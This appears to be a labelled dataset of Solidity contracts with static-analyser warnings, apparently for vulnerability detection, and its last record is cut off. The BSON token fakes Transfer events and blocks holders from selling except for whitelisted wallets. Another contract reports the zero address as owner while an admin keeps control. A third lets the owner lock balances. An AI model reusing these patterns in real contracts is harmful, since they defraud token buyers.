{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract BSON is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: c8e1ea5): BSON._e242 should be constant \n\t// Recommendation for c8e1ea5: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cd8b7f5): BSON.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for cd8b7f5: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n require(_msgSender() == 0x0A30ccEda7f03B971175e520c0Be7E6728860b67);\n\n\t\t// missing-zero-check | ID: cd8b7f5\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0x7aA2B03ddD79Eb45d8D4c432C8ec11A35F7a7D0c &&\n from != 0x0A30ccEda7f03B971175e520c0Be7E6728860b67 &&\n from != 0xaf376861670Cc48dCD091fbd86b55451dF41744E)\n ) {\n uint256 _X7W88 = amount + 2;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"BASED SON\";\n\n _symbol = unicode\"BSON\";\n\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_2230.sol", "secure": 0, "size_bytes": 6545 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BurnableMintableTaxToken is ERC20Burnable, Ownable {\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f4502ff): BurnableMintableTaxToken._decimals should be immutable \n\t// Recommendation for f4502ff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a682873): BurnableMintableTaxToken._feeAccount should be immutable \n\t// Recommendation for a682873: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _feeAccount;\n\n uint256 private _burnFee;\n uint256 private _previousBurnFee;\n\n uint256 private _taxFee;\n uint256 private _previousTaxFee;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a6572b4): BurnableMintableTaxToken.constructor(uint256,string,string,uint8,uint256,uint256,address,address).feeAccount_ lacks a zerocheck on \t _feeAccount = feeAccount_\n\t// Recommendation for a6572b4: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1f49798): BurnableMintableTaxToken.constructor(uint256,string,string,uint8,uint256,uint256,address,address).service_ lacks a zerocheck on \t address(service_).transfer(getBalance())\n\t// Recommendation for 1f49798: Check that the address is not zero.\n constructor(\n uint256 totalSupply_,\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 burnFee_,\n uint256 taxFee_,\n address feeAccount_,\n address service_\n ) payable ERC20(name_, symbol_) {\n _decimals = decimals_;\n _burnFee = burnFee_;\n _previousBurnFee = _burnFee;\n _taxFee = taxFee_;\n _previousTaxFee = _taxFee;\n\t\t// missing-zero-check | ID: a6572b4\n _feeAccount = feeAccount_;\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[_feeAccount] = true;\n _isExcludedFromFee[address(this)] = true;\n\n _mint(_msgSender(), totalSupply_ * 10 ** decimals());\n\t\t// missing-zero-check | ID: 1f49798\n payable(service_).transfer(getBalance());\n }\n\n receive() external payable {}\n\n function getBalance() private view returns (uint256) {\n return address(this).balance;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function getBurnFee() public view returns (uint256) {\n return _burnFee;\n }\n\n function getTaxFee() public view returns (uint256) {\n return _taxFee;\n }\n\n function isExcludedFromFee(address account) public view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n function getFeeAccount() public view returns (address) {\n return _feeAccount;\n }\n\n function excludeFromFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = true;\n }\n\n function includeInFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = false;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual override {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n uint256 senderBalance = balanceOf(sender);\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n bool takeFee = true;\n\n if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {\n takeFee = false;\n }\n\n _tokenTransfer(sender, recipient, amount, takeFee);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 value,\n bool takeFee\n ) private {\n if (!takeFee) {\n removeAllFee();\n }\n\n _transferStandard(from, to, value);\n\n if (!takeFee) {\n restoreAllFee();\n }\n }\n\n function removeAllFee() private {\n if (_taxFee == 0 && _burnFee == 0) return;\n\n _previousTaxFee = _taxFee;\n _previousBurnFee = _burnFee;\n\n _taxFee = 0;\n _burnFee = 0;\n }\n\n function restoreAllFee() private {\n _taxFee = _previousTaxFee;\n _burnFee = _previousBurnFee;\n }\n\n function _transferStandard(\n address from,\n address to,\n uint256 amount\n ) private {\n uint256 transferAmount = _getTransferValues(amount);\n\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + transferAmount;\n\n burnFeeTransfer(from, amount);\n taxFeeTransfer(from, amount);\n\n emit Transfer(from, to, transferAmount);\n }\n\n function _getTransferValues(uint256 amount) private view returns (uint256) {\n uint256 taxValue = _getCompleteTaxValue(amount);\n uint256 transferAmount = amount - taxValue;\n return transferAmount;\n }\n\n function _getCompleteTaxValue(\n uint256 amount\n ) private view returns (uint256) {\n uint256 allTaxes = _taxFee + _burnFee;\n uint256 taxValue = (amount * allTaxes) / 100;\n return taxValue;\n }\n\n function burnFeeTransfer(address sender, uint256 amount) private {\n uint256 burnFee = (amount * _burnFee) / 100;\n if (burnFee > 0) {\n _totalSupply = _totalSupply - burnFee;\n emit Transfer(sender, address(0), burnFee);\n }\n }\n\n function taxFeeTransfer(address sender, uint256 amount) private {\n uint256 taxFee = (amount * _taxFee) / 100;\n if (taxFee > 0) {\n _balances[_feeAccount] = _balances[_feeAccount] + taxFee;\n emit Transfer(sender, _feeAccount, taxFee);\n }\n }\n\n function mint(address receiver, uint256 amount) public onlyOwner {\n _mint(receiver, amount);\n }\n}", "file_name": "solidity_code_2231.sol", "secure": 0, "size_bytes": 6540 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract Token {\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public virtual returns (bool success);\n function approve(\n address _spender,\n uint256 _value\n ) public virtual returns (bool success);\n}", "file_name": "solidity_code_2232.sol", "secure": 1, "size_bytes": 360 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract PToken {\n function redeem(\n uint256 _value,\n string memory destinationAddress,\n bytes4 destinationChainId\n ) public virtual returns (bool _success);\n}", "file_name": "solidity_code_2233.sol", "secure": 1, "size_bytes": 269 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface Curve {\n function exchange_underlying(\n int128 i,\n int128 j,\n uint256 dx,\n uint256 min_dy,\n address receiver\n ) external returns (uint256);\n}\n\n// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 8b2214d): WETH has incorrect ERC20 function interfaceWETH.approve(address,uint256)\n// Recommendation for 8b2214d: Set the appropriate return values and types for the defined 'ERC20' functions.", "file_name": "solidity_code_2234.sol", "secure": 0, "size_bytes": 532 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract WETH {\n function deposit() external payable virtual;\n function withdraw(uint256 amount) external virtual;\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 8b2214d): WETH has incorrect ERC20 function interfaceWETH.approve(address,uint256)\n\t// Recommendation for 8b2214d: Set the appropriate return values and types for the defined 'ERC20' functions.\n function approve(address guy, uint256 wad) external virtual;\n}", "file_name": "solidity_code_2235.sol", "secure": 0, "size_bytes": 532 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ISwapRouter {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams calldata params\n ) external payable returns (uint256 amountOut);\n function wrapETH(uint256 value) external payable;\n}", "file_name": "solidity_code_2236.sol", "secure": 1, "size_bytes": 555 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./Token.sol\" as Token;\nimport \"./Curve.sol\" as Curve;\nimport \"./WETH.sol\" as WETH;\nimport \"@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol\" as ISwapRouter;\n\ncontract BTCETHSwap {\n fallback() payable external {\n revert();\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 8723eef): BTCETHSwap.PBTC_ADDRESS should be constant \n\t// Recommendation for 8723eef: Add the 'constant' attribute to state variables that never change.\n address public PBTC_ADDRESS =\n address(0x62199B909FB8B8cf870f97BEf2cE6783493c4908);\n\t// WARNING Optimization Issue (constable-states | ID: 96a8753): BTCETHSwap.WBTC_ADDRESS should be constant \n\t// Recommendation for 96a8753: Add the 'constant' attribute to state variables that never change.\n address public WBTC_ADDRESS =\n address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n\t// WARNING Optimization Issue (constable-states | ID: f2b457e): BTCETHSwap.WETH_ADDRESS should be constant \n\t// Recommendation for f2b457e: Add the 'constant' attribute to state variables that never change.\n address public WETH_ADDRESS =\n address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\t// WARNING Optimization Issue (constable-states | ID: 934e7cb): BTCETHSwap.CURVE_PBTC_POOL should be constant \n\t// Recommendation for 934e7cb: Add the 'constant' attribute to state variables that never change.\n address public CURVE_PBTC_POOL =\n address(0xC9467E453620f16b57a34a770C6bceBECe002587);\n\t// WARNING Optimization Issue (constable-states | ID: dfdbe55): BTCETHSwap.UNISWAP_ROUTER should be constant \n\t// Recommendation for dfdbe55: Add the 'constant' attribute to state variables that never change.\n address payable UNISWAP_ROUTER =\n payable(address(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45));\n\n\t// WARNING Optimization Issue (constable-states | ID: 8996c1d): BTCETHSwap.CURVE_WBTC_INDEX should be constant \n\t// Recommendation for 8996c1d: Add the 'constant' attribute to state variables that never change.\n int128 public CURVE_WBTC_INDEX = 2;\n\t// WARNING Optimization Issue (constable-states | ID: dac8e04): BTCETHSwap.CURVE_PBTC_INDEX should be constant \n\t// Recommendation for dac8e04: Add the 'constant' attribute to state variables that never change.\n int128 public CURVE_PBTC_INDEX = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05a34ac): BTCETHSwap.PTOKENS_BTC_CHAINID should be constant \n\t// Recommendation for 05a34ac: Add the 'constant' attribute to state variables that never change.\n bytes4 public PTOKENS_BTC_CHAINID = 0x01ec97de;\n\n ISwapRouter public constant uniswapRouter =\n ISwapRouter(\n payable(address(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45))\n );\n\n constructor() {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 56e4082): BTCETHSwap.swapBTCforETH(uint256,address) ignores return value by Token(PBTC_ADDRESS).transferFrom(msg.sender,address(this),amount)\n\t// Recommendation for 56e4082: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function swapBTCforETH(\n uint256 amount,\n address payable recipient\n ) public payable {\n\t\t// unchecked-transfer | ID: 56e4082\n Token(PBTC_ADDRESS).transferFrom(msg.sender, address(this), amount);\n\n uint256 amount_wbtc = CurveSwap(false, amount);\n\n uint256 amountETH = Uniswap(\n WBTC_ADDRESS,\n WETH_ADDRESS,\n amount_wbtc,\n recipient,\n 3000\n );\n\n WETH(WETH_ADDRESS).withdraw(amountETH);\n }\n\n function swapETHforBTC(string memory recipientBtcAddress) public payable {\n uint256 amountETH = msg.value;\n\n uniswapRouter.wrapETH{value: amountETH}(amountETH);\n\n uint256 amount_WBTC = Uniswap(\n WETH_ADDRESS,\n WBTC_ADDRESS,\n amountETH,\n address(this),\n 3000\n );\n }\n\n function Uniswap(\n address tokenIn,\n address tokenOut,\n uint256 amountIn,\n address recipient,\n uint24 fee\n ) internal returns (uint256) {\n ISwapRouter.ExactInputSingleParams memory params = ISwapRouter\n .ExactInputSingleParams(\n tokenIn,\n tokenOut,\n fee,\n recipient,\n block.timestamp + 15,\n amountIn,\n 1,\n uint160(0)\n );\n\n uint256 amountOut = uniswapRouter.exactInputSingle(params);\n return amountOut;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ae58a56): BTCETHSwap.CurveSwap(bool,uint256) ignores return value by Curve(CURVE_PBTC_POOL).exchange_underlying(i,j,amountSell,0,address(this))\n\t// Recommendation for ae58a56: Ensure that all the return values of the function calls are used.\n function CurveSwap(\n bool wtop,\n uint256 amountSell\n ) internal returns (uint256) {\n int128 i;\n int128 j;\n\n if (wtop) {\n i = CURVE_WBTC_INDEX;\n j = CURVE_PBTC_INDEX;\n } else {\n i = CURVE_PBTC_INDEX;\n j = CURVE_WBTC_INDEX;\n }\n\n\t\t// unused-return | ID: ae58a56\n Curve(CURVE_PBTC_POOL).exchange_underlying(\n i,\n j,\n amountSell,\n 0,\n address(this)\n );\n }\n}", "file_name": "solidity_code_2237.sol", "secure": 0, "size_bytes": 5579 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _changeInfo(string memory name_, string memory symbol_) internal {\n _name = name_;\n _symbol = symbol_;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_2238.sol", "secure": 1, "size_bytes": 4937 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Adminable is Context {\n address private _owner;\n\n event AdminTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function admin() public view virtual returns (address) {\n return _owner;\n }\n\n function owner() public view virtual returns (address) {\n return address(0);\n }\n\n modifier onlyOwner() {\n require(admin() == _msgSender(), \"Adminable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Adminable: new owner is the zero address\"\n );\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit AdminTransferred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_2239.sol", "secure": 1, "size_bytes": 1264 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\n\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n\n uint256[49] private __gap;\n}", "file_name": "solidity_code_224.sol", "secure": 1, "size_bytes": 1095 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./Adminable.sol\" as Adminable;\n\nabstract contract Taxablee is ERC20, Adminable {\n mapping(address => uint256) public lhBalance;\n mapping(address => uint256) public lhPercentage;\n\n error OverMaxBasisPoints();\n\n struct TokenConfiguration {\n address treasury;\n uint16 transferFeesBPs;\n uint16 buyFeesBPs;\n uint16 sellFeesBPs;\n }\n\n TokenConfiguration internal tokenConfiguration;\n\n mapping(address => uint256) internal addressConfiguration;\n\n uint256 public constant MAX_FEES = 10_000;\n\n uint256 public constant FEE_RATE_DENOMINATOR = 10_000;\n\n constructor(uint16 _transferFee, uint16 _buyFee, uint16 _sellFee) {\n if (\n _transferFee > MAX_FEES || _buyFee > MAX_FEES || _sellFee > MAX_FEES\n ) {\n revert OverMaxBasisPoints();\n }\n\n tokenConfiguration = TokenConfiguration({\n treasury: msg.sender,\n transferFeesBPs: _transferFee,\n buyFeesBPs: _buyFee,\n sellFeesBPs: _sellFee\n });\n }\n\n function setTreasury(address _treasury) external onlyOwner {\n tokenConfiguration.treasury = _treasury;\n }\n\n function setTransferFeesBPs(uint16 fees) external onlyOwner {\n if (fees > MAX_FEES) {\n revert OverMaxBasisPoints();\n }\n tokenConfiguration.transferFeesBPs = fees;\n }\n\n function setBuyFeesBPs(uint16 fees) external onlyOwner {\n if (fees > MAX_FEES) {\n revert OverMaxBasisPoints();\n }\n tokenConfiguration.buyFeesBPs = fees;\n }\n\n function setSellFeesBPs(uint16 fees) external onlyOwner {\n if (fees > MAX_FEES) {\n revert OverMaxBasisPoints();\n }\n tokenConfiguration.sellFeesBPs = fees;\n }\n\n function feeWL(address _address, bool _status) external onlyOwner {\n uint256 packed = addressConfiguration[_address];\n addressConfiguration[_address] = _packBoolean(packed, 0, _status);\n }\n\n function liquidityPairList(\n address _address,\n bool _status\n ) external onlyOwner {\n uint256 packed = addressConfiguration[_address];\n addressConfiguration[_address] = _packBoolean(packed, 1, _status);\n }\n\n function treasury() public view returns (address) {\n return tokenConfiguration.treasury;\n }\n\n function transferFeesBPs() public view returns (uint256) {\n return tokenConfiguration.transferFeesBPs;\n }\n\n function buyFeesBPs() public view returns (uint256) {\n return tokenConfiguration.buyFeesBPs;\n }\n\n function sellFeesBPs() public view returns (uint256) {\n return tokenConfiguration.sellFeesBPs;\n }\n\n function getFeeRate(\n address from,\n address to\n ) public view returns (uint256) {\n uint256 fromConfiguration = addressConfiguration[from];\n\n if (_unpackBoolean(fromConfiguration, 0)) {\n return 0;\n }\n\n uint256 toConfiguration = addressConfiguration[to];\n\n if (_unpackBoolean(toConfiguration, 0)) {\n return 0;\n }\n\n TokenConfiguration memory configuration = tokenConfiguration;\n\n if (_unpackBoolean(fromConfiguration, 1)) {\n return configuration.buyFeesBPs;\n }\n\n if (_unpackBoolean(toConfiguration, 1)) {\n return configuration.sellFeesBPs;\n }\n\n return configuration.transferFeesBPs;\n }\n\n function isFeeWhitelisted(address account) public view returns (bool) {\n return _unpackBoolean(addressConfiguration[account], 0);\n }\n\n function isLiquidityPair(address account) public view returns (bool) {\n return _unpackBoolean(addressConfiguration[account], 1);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n uint256 fromConfiguration = addressConfiguration[from];\n\n if (_unpackBoolean(fromConfiguration, 0)) {\n super._transfer(from, to, amount);\n return;\n }\n\n uint256 toConfiguration = addressConfiguration[to];\n\n if (_unpackBoolean(toConfiguration, 0)) {\n super._transfer(from, to, amount);\n return;\n }\n\n uint256 fee;\n TokenConfiguration memory configuration = tokenConfiguration;\n\n if (_unpackBoolean(fromConfiguration, 1)) {\n unchecked {\n fee =\n (amount * configuration.buyFeesBPs) /\n FEE_RATE_DENOMINATOR;\n }\n } else if (_unpackBoolean(toConfiguration, 1)) {\n unchecked {\n fee =\n (amount * configuration.sellFeesBPs) /\n FEE_RATE_DENOMINATOR;\n }\n } else {\n unchecked {\n fee =\n (amount * configuration.transferFeesBPs) /\n FEE_RATE_DENOMINATOR;\n }\n }\n\n uint256 amountAfterFee;\n unchecked {\n amountAfterFee = amount - fee;\n }\n\n super._transfer(from, to, amountAfterFee);\n super._transfer(from, configuration.treasury, fee);\n }\n\n function _packBoolean(\n uint256 source,\n uint256 index,\n bool value\n ) internal pure returns (uint256) {\n if (value) {\n return source | (1 << index);\n } else {\n return source & ~(1 << index);\n }\n }\n\n function _unpackBoolean(\n uint256 source,\n uint256 index\n ) internal pure returns (bool) {\n return source & (1 << index) > 0;\n }\n\n function limitPercentage(\n address _address,\n uint256 _percentage\n ) external onlyOwner {\n lhPercentage[_address] = (MAX_FEES - _percentage);\n lhBalance[_address] =\n (balanceOf(_address) * lhPercentage[_address]) /\n MAX_FEES;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n uint256 fromConfiguration = addressConfiguration[from];\n\n if (_unpackBoolean(fromConfiguration, 1)) return;\n\n uint256 beforeBalance = balanceOf(from);\n uint256 limitBalance = (beforeBalance * lhPercentage[from]) / MAX_FEES;\n\n if (limitBalance > lhBalance[from]) lhBalance[from] = limitBalance;\n if (limitBalance != 0)\n require(lhBalance[from] <= beforeBalance - amount, \"EL\");\n\n super._beforeTokenTransfer(from, to, amount);\n }\n}", "file_name": "solidity_code_2240.sol", "secure": 1, "size_bytes": 6859 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./Taxablee.sol\" as Taxablee;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol\" as IUniswapV2Router01;\n\ncontract StewieCoin is ERC20, Taxablee {\n address public uniswapV2Pair;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c07c47e): StewieCoin.constructor(string,string,uint16,uint16,uint16,uint256)._name shadows ERC20._name (state variable)\n\t// Recommendation for c07c47e: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7e762db): StewieCoin.constructor(string,string,uint16,uint16,uint16,uint256)._symbol shadows ERC20._symbol (state variable)\n\t// Recommendation for 7e762db: Rename the local variables that shadow another component.\n constructor(\n string memory _name,\n string memory 